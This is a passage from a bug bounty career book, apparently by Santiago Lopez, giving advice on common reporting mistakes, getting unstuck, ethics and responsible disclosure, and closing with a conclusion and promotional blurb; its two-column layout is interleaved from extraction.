rate with other researchers. Make sure your reports are clear,
concise and contain all the information necessary for the com-
#4 .11
pany to reproduce and fix the vulnerability.

5. Not Reading the Program Rules: It's common to encounter moments when you feel stuck.
You may have spent hours searching for vulnerabilities without
Each Bug Bounty program has its own rules and scope. If success, or you may come across a technical obstacle that you
you don't read the rules carefully, you may report vulnerabilities don't know how to overcome. This chapter will provide you with
that are outside the scope of the program or use impermissible practical strategies and tips for overcoming those stuck moments
testing techniques, which can lead to rejection of your reports. and moving forward on your journey as a security researcher.

- Solution: Read the program rules carefully before you 1. Recognize that you are stuck:
start looking for vulnerabilities. Make sure you understand what
assets are included in the scope, what types of vulnerabilities are The first step to overcoming a roadblock is to recognize that
eligible for rewards, and what testing techniques are allowed. you are stuck. Don't get frustrated or give up. Instead, accept
that this is a normal part of the process and that all investigators
6. Focus on Low Severity Vulnerabilities: face this challenge at some point.

Many researchers focus on finding a large number of low- 2. Take a Break:

-severity vulnerabilities, rather than looking for critical vulnera-
bilities that may have a greater impact. This can lead to lower Sometimes, the best solution is to step away from the
rewards and less personal satisfaction. problem for a while. Take a break, go for a walk, exercise or do
some activity that helps you clear your mind. When you return
- Solution: Prioritize quality over quantity. Focus on finding to the problem, you may have a new perspective or a fresh idea.
high-severity vulnerabilities that can have a significant impact
on the company's security.
3. Change your Focus:
7. Failure to Learn from Mistakes:
If you have been focusing on a specific type of vulnerabi-
Every rejected report is a learning opportunity. If you don't lity or a particular testing technique, try changing your focus.
analyze your mistakes and learn from them, you are likely to keep Explore other areas of the system or try different tools and

let ' s get to work 163

techniques. Sometimes, a change of perspective may be all you
need to find a vulnerability. Getting stuck is a normal part of the Bug Bounty process.
By applying the strategies and tips presented in this chapter, you
4. Ask for Help: will be able to overcome roadblocks, learn from your mistakes,
and keep moving forward on your path as a successful security
Don't be afraid to ask other researchers for help. Join online researcher. Remember, the key is to maintain a positive attitude,
communities such as forums or Discord groups where you can be persistent and never stop learning.
ask questions, share your experiences and learn from others. You
can also look for mentors or Bug Bounty partners with whom
you can collaborate and share ideas.

5. Learn from your Mistakes:

Every time you get stuck, it's a learning opportunity. Analyze

what went wrong and what you could have done differently.
Learn from your mistakes and use that knowledge to improve
your future vulnerability searches.

6. Break the Problem into Smaller Parts:

If you are faced with a complex problem, break it down into

smaller, more manageable parts. This will help you approach the
problem more systematically and avoid feeling overwhelmed.

7. Research and Learn:

Sometimes, you get stuck because you lack knowledge or

skills in a specific area. Spend time researching and learning about
that area. Read books, blogs, articles and technical documenta-
tion, and practice your skills in testing environments.

8. Don't Give Up:

Persistence is key in the Bug Bounty world. Don't give up

easily, even if you face obstacles or failures. Keep learning, impro-
ving your skills and looking for new opportunities.

Additional Tips:

- Keep a Positive Attitude: A positive attitude can make all

the difference when you face challenges. Stay motivated and
confident, even when the going gets tough.
- Celebrate Your Achievements: Recognize and celebrate
your successes, no matter how small. This will help you stay
motivated and keep moving forward.
- Don't Compare Yourself to Others: Every researcher has
his or her own pace of learning and progress. Don't compare
yourself to others and focus on your own development.

164 MILLIONAIRE RECORDS

let ' s get to work 165
 A Word from Santiago's Experience: 5. Ethics and Responsibility:
Lessons Learned from a Decade of Bug Bounty
Ethics and accountability are fundamental pillars in the Bug
After almost a decade immersed in the exciting world of Bounty world. As security researchers, we have a responsibility to
Bug Bounty, I have accumulated a number of experiences, lear- report vulnerabilities responsibly, protecting users and avoiding
nings and reflections that I would like to share in this chapter. I causing unnecessary harm. Responsible disclosure is essential
hope these words will serve as inspiration and guidance for those to maintain trust between researchers and companies, and to
who are just starting their journey in this field or for those who ensure that vulnerabilities are properly addressed.
are looking to improve their skills and results.
6. The Balance between Passion and Profession:
1. Passion:
As my career at Bug Bounty took off, I had to find a balance
My adventure into the world of Bug Bounty began as a between my passion for security and the demands of a profes-
hobby, a passion that drove me to explore the depths of compu- sional career. This involved setting schedules, defining clear
ter security. I found the thrill of finding a vulnerability and con- goals, and learning how to manage my time effectively. I also
tributing to a more secure digital environment to be incredibly had to learn to deal with the stress and pressure that comes with
rewarding. This passion has been the driving force that has kept working in such a demanding field.
me going over the years, even during the most challenging times.
7. Positive Impact:
2. Constant Learning:
One of the greatest satisfactions of my career has been
Cybersecurity is a constantly evolving field. Technologies seeing the positive impact my findings have had on the security
change, threats become more sophisticated, and attack and of companies and their users. Knowing that I have contributed
defense techniques continually adapt. To stay relevant and com- to protecting people from cyber threats motivates me to keep
petitive, I have had to invest time and effort in constantly learning. going and strive to improve every day.
I have attended conferences, read books and blogs, participated
in online courses, and collaborated with other researchers. The 8. The Future of Bug Bounty:
learning never ends in this field, and that is one of the things I
am most passionate about. The future of Bug Bounty is bright. As technology advances
and cyber threats become more sophisticated, the demand for
3. The Importance of Community: talented security researchers will continue to grow. Bug Bounty
programs are expanding into new areas, such as supply chain
The Bug Bounty community is an invaluable resource. I security, cloud security and IoT device security. Bounties are
have learned a lot from other researchers, sharing knowledge, increasing and companies are investing more in security programs.
experiences and advice. Collaboration and mutual support are
critical to growth and success in this field. Participating in online
forums, chat groups, and community events has allowed me to My experience in the Bug Bounty world has been an incre-
make valuable connections and learn from the best. dible journey full of challenges, learnings and satisfactions. I have
had the opportunity to work on exciting projects, meet ama-
4. The Hacker Mentality: zing people and make a real difference in the world. If you are
considering a career at Bug Bounty, I encourage you to follow
The hacker mindset is a way of thinking that goes beyond your passion, constantly learn, connect with the community and
simply looking for vulnerabilities. It's about questioning every- never lose sight of the importance of ethics and accountability.
thing, looking for creative solutions and thinking outside the
box. This mindset has allowed me to find vulnerabilities that
others overlooked and develop innovative solutions to com-
plex problems.

166 MILLIONAIRE RECORDS

let ' s get to work 167
CO NCL
US ION
 T R A NS FORM YOU R
P AS S I O N IN T O B OU N-
TIES

180 MILLIONAIRE RECORDS

 Throughout these pages, we have explored together the
exciting world of Bug Bounty, from its technical basics to the
most advanced strategies for finding and reporting vulnerabilities. With gratitude and admiration,
We have shared experiences, tips and insights that I hope have
been useful to you in your own journey as a security researcher. Santiago Lopez

Now, as we come to the end of this book, I want to share

some final words from my heart, as a friend and partner in this
exciting adventure.

First, I want to express my sincere thanks to you, dear rea-

der, for joining me on this journey. Your interest and dedication
to cybersecurity are inspiring, and I am honored to have been
able to share my knowledge and experiences with you.

Throughout my career, I have learned that success in Bug

Bounty is not just about technical skills, but also about passion,
perseverance, and a constant growth mindset. I have learned that
collaboration and mutual support are critical to the progress of
the community, and that ethics and accountability are essential
pillars to building a safer digital environment.

I have been fortunate to experience firsthand the positive

impact Bug Bounty can have on the security of companies and
their users. Every vulnerability I've discovered and reported has
been a small victory in the fight against cyber threats, and that
fills me with pride and satisfaction.

But the most important thing I've learned is that Bug Bounty
is much more than a career or a way to make money. It's a pas-
sion, a community and an opportunity to make a difference in
the world. It is a way to use our skills and knowledge to protect
people and businesses from the dangers of cyberspace.

My wish for you, dear reader, is that you find the same
passion and satisfaction in Bug Bounty that I have found. May
you be inspired to constantly learn and grow, to collaborate
with other researchers, and to use your skills to make the digi-
tal world a safer place.

And who knows, maybe you will be the next Santiago Lopez,
the next millionaire hacker to make Bug Bounty history. The
future is in your hands!

Thank you for reading my book and for being part of this
amazing community - I wish you every success in your journey
as a security researcher! Traduccion: Santiago Lopez, Tomas Lopez

let ' s get to work 181

 MILLIONAIRE RECORDS

As founder of the $1 Million Dollar Club,

Santiago generously shares his experience,
knowledge, and strategies with an exclusive
community of security experts and entrepre-
neurs, offering unique courses, personalized
mentoring, and an invaluable network.

"MY BIGGEST DREAM RIGHT NOW IS

TO CREATE NEW MILLIONAIRES AND
CHANGE PEOPLE'S LIVES"